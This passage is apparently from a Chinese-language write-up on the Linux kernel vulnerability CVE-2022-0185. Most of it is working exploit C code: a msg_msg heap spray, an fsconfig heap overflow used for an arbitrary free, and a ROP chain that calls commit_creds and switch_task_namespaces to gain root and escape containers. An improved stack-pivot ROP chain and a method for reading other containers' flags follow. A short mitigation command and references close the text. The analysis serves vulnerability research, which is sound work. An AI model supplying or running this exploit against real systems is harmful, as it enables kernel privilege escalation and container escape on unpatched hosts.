
    stuff_4k(16);

    int targets[P_SPRAY] = {0};

    while (!ready)
    {
        for (int i = 0; i < P_SPRAY; i++) 
        {
            memset(buffer, 0x41+i, sizeof(buffer));
            targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
            send_msg(targets[i], message, size - 0x30, 0);
        }

        get_msg(targets[0], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);

        // misaligned arb free attack
        fd = fsopen("ext4", 0);
        if (fd < 0) 
        {
                puts("Opening");
                exit(-1);
        }

        strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
        for (int i = 0; i < 117; i++) {
            fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
        }
        puts("[*] Done heap overflow");

        char evil[0x40] = {0};
        uint64_t *evil_ptr = (uint64_t *)evil;
        memset(evil, 0x41, 0x30);
        evil_ptr[0] = next_target;
        evil_ptr[1] = prev_target;
        evil_ptr[4] = free_target;
        evil_ptr[5] = make_sec_happy;

         // in case null bytes in addresses
        if(strlen(evil) != 0x30)
        {
            puts("unable to continue given heap addresses");
            exit(-1);
        }

        puts("[*] Overflowing...");
        fsconfig(fd, FSCONFIG_SET_STRING, evil, "\x00", 0);
        puts("check heap to check preparedness for ignition");

        stuff_4k(16);

        for (int i = 0; i < P_SPRAY; i++)
        {
            memset(recieved, 0, sizeof(recieved));
            // rely on error code to determine if we have found our target which we overflowed into
            int ret = get_msg_no_err(targets[i], recieved, size+0x50-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
            if (ret < 0)
            {
                ready = 1;
                ignition_target = i;
                break;
            }
        }

        if (!ready)
        {
            puts("nothing ready for ignition, trying again");
            // re-stuff freelist and stabilize
            stuff_4k(16);
        }
    }

    char overwrite[0x300] = {0};
    memset(overwrite, 0x41, sizeof(overwrite));
    uint64_t *overwrite_ptr = (uint64_t *)overwrite;

    // redirect to "table" of stack pivots
    overwrite_ptr[1] = kmalloc_512 + 0x50;

    uint64_t user_rflags, user_cs, user_ss, user_sp;
    asm volatile(
        "mov %0, %%cs\n"
        "mov %1, %%ss\n"
        "mov %2, %%rsp\n"
        "pushfq\n"
        "pop %3\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags)
    );

    uint64_t chain[] = 
    {
        pop_rdi,
        0,
        prepare_kernel_cred,
        pop_rsi,
        0xbaadbabe,
        cmov_rdi_rax_esi_nz_pop_rbp,
        0xdeadbeef,
        commit_creds,
        pop_rdi,
        1,
        find_task_by_vpid,
        pop_rsi,
        0xbaadbabe,
        cmov_rdi_rax_esi_nz_pop_rbp,
        0xdeadbeef,
        pop_rsi,
        init_nsproxy,
        switch_task_namespaces,
        kpti_trampoline,
        0xdeadbeef,
        0xbaadf00d,
        (uint64_t)pwned,
        user_cs,
        user_rflags,
        user_sp & 0xffffffffffffff00,
        user_ss,
    };

    memcpy(&overwrite_ptr[2], chain, sizeof(chain));

    for (int i = 0; i < P_SPRAY; i++)
    {
        get_msg(targets[i], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR);
    }

    // spray rop chain plus evil vtable ptr to overlap with pipe_buffer
    for (int i = 0; i < ROP_SPRAY; i++)
    {
        send_msg(rop_msg_qid[i], overwrite, 0x300 - 0x30, 0);
    }

    deplete_512();
    deplete_4k();
    puts("[*] Attempt at igniting ROP!");

    // trigger
    for (int i = 0; i < PIPES; i++)
    {
        close(pipefd[i][0]);
        close(pipefd[i][1]);
    }

}

读取flag:为了找到其他容器的flag,作者直接尝试获取 /proc/pid/root/flag/flag (暴搜pid)。

缺点:需要三次触发漏洞,堆喷不一定稳定。

4-4 改进exploit

劫持RIP时的上下文:在调用执行 pipe_buffer->ops->release() 时,我们的环境中是 RSI 指向 pipe_buffer。所以需要修改一下ROP链。主要参考 CVE-2021-22555 中用到的一个 stack pivot gadget —— push rsi; jmp qword ptr [rsi + 0x39],这样可以在 pipe_buffer+0x39 处放置一个 pop rsp 来劫持栈。

完整ROP链

void build_krop(char *buf) {
  uint64_t *rop;
  *(uint64_t *)&buf[0x39] = pop_rsp;                           
  *(uint64_t *)&buf[0x00] = add_rsp_0xd0; 

  rop = (uint64_t *)&buf[0xD8];

  *rop++ = pop_rdi;
  *rop++ = 0;
  *rop++ = prepare_kernel_cred;
  *rop++ = mov_rdi_rax_pop_pop;
  *rop++ = 0xdeadbeef;
  *rop++ = 0xdeadbeef;
  *rop++ = commit_creds;
  *rop++ = pop_rdi;
  *rop++ = 1;
  *rop++ = find_task_by_vpid;
  *rop++ = mov_rdi_rax_pop_pop;
  *rop++ = 0xdeadbeef;
  *rop++ = 0xdeadbeef;
  *rop++ = pop_rsi;
  *rop++ = init_nsproxy;
  *rop++ = switch_task_namespaces;
  *rop++ = kpti_trampoline;
  *rop++ = 0xdeadbeef;
  *rop++ = 0xbaadf00d;
  *rop++ = (uint64_t)pwned;
  *rop++ = user_cs;
  *rop++ = user_rflags;
  *rop++ = user_sp & 0xffffffffffffff00;
  *rop++ = user_ss;
}

提权截图

2-succeed


注意:5.7 版本以后的内核使得堆利用更稳定了。如果 freelist pointer 在chunk的开头,堆喷成功率不超过50%,但是5.7版本以后将 freelist pointer 挪到 chunk中间( move the freelist pointer to the middle )以避免堆溢出的危害,这意味着只要堆溢出不会破坏重要的数据结构,我们可以在4k页中溢出很长也不会破坏堆状态(msg_msg需要溢出覆盖前0x30字节),便于泄露内存和实现任意写。

作者写了两个exp,一个用于Ubuntu 20.04 的提权——exploit_fuse.c(5.7以后版本都很好利用,-p提权),一个用于google的Kubernets集群的 KCTF环境——exploit_kctf.c

临时防护:Ubuntu中可以禁用命名空间

sysctl -w kernel.unprivileged_userns_clone=0

PS:作者的第2种利用方法,需要触发漏洞三次,可能导致堆喷不稳定,结果发现提权很稳定。可能是作者先申请了 4096 个位于 kmalloc-4096 的 msg_msg,然后每触发一次都会释放一部分 msg_msg—— 调用stuff_4k(16),只能说作者太厉害了,这么尝试的话我会崩溃的。。。可以改进一下只触发两次漏洞完成提权,一次泄露堆地址,一次用来构造任意释放,构造两块重叠的 0x400 堆块,用 SKB泄露pipe_buffer中的内核基地址,然后利用SKB堆喷伪造 pipe_buffer 劫持控制流。


参考

CVE-2022-0185: A Case Study

CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google’s KCTF Containers

FUSE利用技术 —— slideshow / FUSE technique

[漏洞分析] CVE-2022-0185 linux 内核提权(逃逸)

CVE-2022-0185:Linux kernel bug可实现Kubernetes容器逃逸

文档信息

Search

    Table of Contents